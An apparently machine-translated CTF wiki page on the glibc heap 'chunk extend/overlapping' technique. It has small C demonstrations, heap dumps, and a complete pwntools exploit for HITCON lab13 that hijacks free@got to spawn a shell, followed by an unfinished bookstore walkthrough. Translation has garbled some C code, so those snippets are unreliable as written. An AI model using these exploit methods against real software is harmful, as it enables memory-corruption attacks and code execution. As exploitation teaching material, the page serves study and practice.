Chunk Extend and Overlapping¶
Introduction¶
Chunk extend is a common use of heap vulnerabilities. The effect of chunk overlapping can be achieved by extend. This method of utilization requires the following timing and conditions:
- There is a heap-based vulnerability in the program
- Vulnerabilities can control data in chunk headers
Principle¶
The chunk extend technique can be generated by the various macros that ptmalloc uses when working with heap chunks.
In ptmalloc, the operation of getting the chunk size is as follows
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
One is to directly get the size of the chunk, not to ignore the mask part, and the other is to ignore the mask part.
In ptmalloc, the operation of getting the next chunk block address is as follows
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
That is, use the current block pointer plus the current block size.
In ptmalloc, the operation of getting the previous chunk information is as follows
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
That is, the size of the previous block is obtained by malloc_chunk->prev_size, and then the obtained size is subtracted from the chunk address.
In ptmalloc, the operation of determining whether the current chunk is in the use state is as follows:
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
That is, look at the prev_inuse field of the next chunk, and the next block address is calculated according to the size of the current chunk as we mentioned earlier.
See the section "Heap related data structures" for more details.
As can be seen from the above macros, ptmalloc uses the chunk header data to determine the usage of the chunk and to locate the chunks before and after the chunk. In short, chunk extend is achieved by controlling the size and pre_size fields to achieve overlapping operations.
Similar to chunk extend, there is an operation called chunk shrink. Only the use of chunk extend is introduced here.
Basic example 1: Extend the fastbin of inuse¶
In simple terms, the effect of this utilization is to control the content of the second block by changing the size of the first block. Note that our examples are all in 64-bit programs. If you want to test under 32 bits, you can change the 8-byte offset to 4 bytes.
int main(void)
{
void * ptr, * ptr1;
Ptr=malloc(0x10);//Assign the first 0x10 chunk
Malloc (0x10); / / assign a second 0x10 chunk
*(long long *)((long long)ptr-0x8)=0x41;// Modify the size field of the first block
free(ptr);
Ptr1=malloc(0x30);// Implement extend to control the content of the second block
return 0;
}
When two malloc statements are executed, the heap's memory is distributed as follows
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk
After that, we changed the size field of chunk1 to 0x41, which is because the size field of the chunk contains the size of the user control and the size of the header. As shown above, the size is exactly 0x40. This step can be obtained from heap overflow in the title.
0x602000: 0x0000000000000000 0x0000000000000041 <=== Tamper size
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
After executing free, we can see that chunk2 and chunk1 are combined into a 0x40 chunk and released.
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
Then we get the block of chunk1+chunk2 through malloc (0x30), then we can directly control the contents of chunk2, we also call this state the overlapping chunk.
call 0x400450 <malloc@plt>
mov QWORD PTR [rbp-0x8], rax
rax = 0x602010
Basic example 2: Extend the smallbin of inuse¶
Through a deep understanding of the implementation part of the heap, we know that the chunks in the fastbin range will be placed in the fastbin list, and the chunks that are not in this range will be placed in the unsorted bin list. In the following example, we use the size 0x80 to allocate the heap (as a comparison, the default maximum chunk for fastbin can be used as 0x70)
int main()
{
void * ptr, * ptr1;
Ptr=malloc(0x80);//Assign the first chunk1 of 0x80
Malloc (0x10); / / allocate the second 0x10 chunk2
Malloc (0x10); / / prevent merger with top chunk
* (int *) ((int) ptr-0x8) = 0xb1;
free(ptr);
ptr1=malloc(0xa0);
}
In this example, because the allocated size is not in the range of fastbin, if it is connected to the top chunk when it is released, it will merge with the top chunk. So we need to allocate an additional chunk to separate the released chunk from the top chunk.
0x602000: 0x0000000000000000 0x00000000000000b1 <===chunk1 tamper with the size field
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== Prevent merged chunks
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
After release, chunk1 swallows the contents of chunk2 and puts them together into the unsorted bin.
0x602000: 0x0000000000000000 0x00000000000000b1 <=== was put into the unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x00000000000000b0 0x0000000000000020 <=== Note that this is marked as empty
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE)
When the allocation is made again, the chunk1 and chunk2 spaces are retrieved, and we can control the contents of chunk2.
0x4005b0 <main+74> call 0x400450 <malloc@plt>
→ 0x4005b5 <main+79> mov QWORD PTR [rbp-0x8], rax
rax : 0x0000000000602010
Basic example 3: Extend the free smallbin¶
Example 3 is based on Example 2, this time we release chunk1 and then modify the size field of chunk1 in the unsorted bin.
int main()
{
void * ptr, * ptr1;
Ptr=malloc(0x80);//Assign the first chunk1 of 0x80
Malloc (0x10); / / assign the second 0x10 chunk2
Free(ptr);//First release, so that chunk1 enters unsorted bin
* (int *) ((int) ptr-0x8) = 0xb1;
ptr1=malloc(0xa0);
}
The results after two malloc are as follows
0x602000: 0x0000000000000000 0x0000000000000091 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
We first release chunk1 to make it into the unsorted bin.
unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
0x602000: 0x0000000000000000 0x0000000000000091 <=== Entering unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk
Then tamper with the size field of chunk1
0x602000: 0x0000000000000000 0x00000000000000b1 <=== size field was tampered with
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
At this point, the malloc allocation can be used to get the chunk of chunk1+chunk2, thus controlling the content of chunk2.
Chunk Extend/Shrink What can I do?¶
In general, this technique does not directly control the execution flow of the program, but it can control the contents of the chunk. If chunks have string pointers, function pointers, etc., they can be used to leak information and control the execution flow.
In addition, chunk overlap can be realized by extend, and the fd/bk pointer of the chunk can be controlled by overlapping, so that the use of fastbin attack can be realized.
Basic example 4: Overlapping after extend¶
Here we show backward overlapping through extend, which is also the most common case in CTF, and other uses can be achieved through overlay.
int main()
{
void * ptr, * ptr1;
Ptr=malloc(0x10);//Assign the first 0x80 chunk1
Malloc (0x10); / / allocate the second 0x10 chunk2
Malloc (0x10); / / allocate the third 0x10 chunk3
Malloc (0x10); / / allocate the 4th 0x10 chunk4
* (int *) ((int) ptr-0x8) = 0x61;
free(ptr);
ptr1=malloc(0x50);
}
Basic example 5: Forwarding through extend¶
This shows that the previous block is merged by modifying the pre_inuse field and the pre_size field.
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
Malloc (0x10); / / prevent merge with top
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//Modify the pre_inuse field
*(int *)((long long)ptr4-0x10)=0xd0;//Modify the pre_size field
Free(ptr4);//unlink for forward extend
Malloc (0x150); / / placeholder block
}
The forward extend utilizes the unbin mechanism of smallbin. By modifying the pre_size field, it can be merged across multiple chunks to implement overlapping.
HITCON Trainging lab13¶
[Topic link] (https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13)
Basic Information¶
➜ hitcontraning_lab13 git:(master) file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
➜ hitcontraning_lab13 git:(master) checksec heapcreator
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/hitcontraning_lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
The program is a 64-bit dynamic linker, which mainly enables Canary protection and NX protection.
basic skills¶
The program is probably a custom heap allocator, and each heap has two main members: size and content pointer. The main functions are as follows
- Create a heap, request the corresponding memory space according to the length entered by the user, and read the specified length content with read. The length is not detected here. When the length is negative, a heap overflow of any length will occur. Of course, the premise is that malloc can be done. In addition, NULL is not set after reading here.
- Edit the heap, read the specified content according to the specified index and the size of the previously stored heap, but the length read here will be one greater than before, so there will be a vulnerability of off by one**.
- Show the heap, output the size and content of the specified index heap.
- Delete the heap, delete the specified heap, and set the corresponding pointer to NULL.
Use¶
Basic use ideas are as follows
- Use the off by one vulnerability to overwrite the size field of the next chunk to construct a fake chunk size.
- Apply the forged chunk size to create a chunk overlap and modify the key pointer.
More specific is to look at the script directly.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18, "dada") # 0
create (0x10, "daa") # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
r.interactive()
2015 hacklu bookstore¶
[Topic link] (https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/2015_hacklu_bookstore)
Basic Information¶
➜ 2015_hacklu_bookstore git:(master) file books
books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, stripped
➜ 2015_hacklu_bookstore git:(master) checksec books
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/2015_hacklu_bookstore/books'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
It can be seen that the program is a dynamically linked 64-bit program, which mainly enables Canary and NX protection.
basic skills¶
The main function of the program is the book, as follows
- You can order up to two books.
- Choose to order the first few books according to the number, you can add the corresponding name for each book. However, a vulnerability of any length heap overflow occurred at the name added.
- Delete order according to the number, but here it is simply free, and is not set to NULL, so there will be a vulnerability after use after free.
- Submit an order to put the names of the two books together. Here, due to the above heap overflow problem, there will also be a heap overflow vulnerability.
- In addition, there is a Format String Vulnerability before the program exits.
Although the vulnerability of the program is very strong here, the size of all the malloc is completely fixed, we can only use these allocated chunks to operate.
Using ideas¶
The main vulnerabilities in the program are heap overflow and format string vulnerabilities, but if you want to exploit the format string vulnerability, you will need to overflow the corresponding dest array. The specific ideas are as follows
- Use chunk overflow to perform chunk extend, so that when
malloc(0x140uLL)
is in submit, it just returns the position of the second order. Before the submit, lay out the heap memory layout so that the string can be overlaid to just the specified format string. - By constructing dest as the specified format string: on the one hand, the address of __libc_start_main_ret is leaked, on the one hand, the control program returns to execution . At this point, you can know the libc base address, system and other addresses. It should be noted that since the program will directly exit immediately after submit, our better idea is to modify the variables in fini_array so that after the program is executed, return to the position we expect. Here we will use a trick, the program will read 128 size each time it reads the selection, on the stack. When the program finally outputs dest, the part of the selection that was previously read must be on the stack, so if we pre-arrange some control flow pointers on the stack, we can control the execution flow of the program.
- Re-use the format string vulnerability and override free@got as the system address to achieve arbitrary command execution.
Here, the offset of each parameter is
- Fini_array0: 5 + 8 = 13
- __libc_start_main_ret : 5+0x1a=31。
00:0000│ rsp 0x7ffe6a7f3ec8 —▸ 0x400c93 ◂— mov eax, 0
01:0008│ 0x7ffe6a7f3ed0 ◂— 0x100000000
02:0010│ 0x7ffe6a7f3ed8 —▸ 0x9f20a0 ◂— 0x3a3120726564724f ('Order 1:')
03:0018│ 0x7ffe6a7f3ee0 —▸ 0x400d38 ◂— pop rcx
04:0020│ 0x7ffe6a7f3ee8 —▸ 0x9f2010 ◂— 0x6666666666667325 ('%sffffff')
05:0028│ 0x7ffe6a7f3ef0 —▸ 0x9f20a0 ◂— 0x3a3120726564724f ('Order 1:')
06: 0030│ 0x7ffe6a7f3ef8 -▸ 0x9f2130 ◂- 0x6564724f203a3220 ('2: Order')
07:0038│ 0x7ffe6a7f3f00 ◂— 0xa35 /* '5\n' */
08:0040│ 0x7ffe6a7f3f08 ◂— 0x0
... ↓
0b:0058│ 0x7ffe6a7f3f20 ◂— 0xff00000000000000
0c:0060│ 0x7ffe6a7f3f28 ◂— 0x0
... ↓
0f:0078│ 0x7ffe6a7f3f40 ◂— 0x5f5f00656d697474 /* 'ttime' */
10:0080│ 0x7ffe6a7f3f48 ◂— 0x7465675f6f736476 ('vdso_get')
11:0088│ 0x7ffe6a7f3f50 ◂— 0x1
12:0090│ 0x7ffe6a7f3f58 —▸ 0x400cfd ◂— add rbx, 1
13: 0098│ 0x7ffe6a7f3f60 ◂- 0x0
... ↓
15:00a8│ 0x7ffe6a7f3f70 —▸ 0x400cb0 ◂— push r15
16:00b0│ 0x7ffe6a7f3f78 —▸ 0x400780 ◂— xor ebp, ebp
17:00b8│ 0x7ffe6a7f3f80 —▸ 0x7ffe6a7f4070 ◂— 0x1
18: 00c0 0x 0x7ffe6a7f3f88 ◂- 0xd8d379f22453ff00
19:00c8│ rbp 0x7ffe6a7f3f90 —▸ 0x400cb0 ◂— push r15
1a:00d0│ 0x7ffe6a7f3f98 —▸ 0x7f9db2113830 (__libc_start_main+240) ◂— mov edi, eax
! ! ! To be added! ! !
topic¶
本页面的全部内容在 CC BY-NC-SA 4.0 协议之条款下提供,附加条款亦可能应用。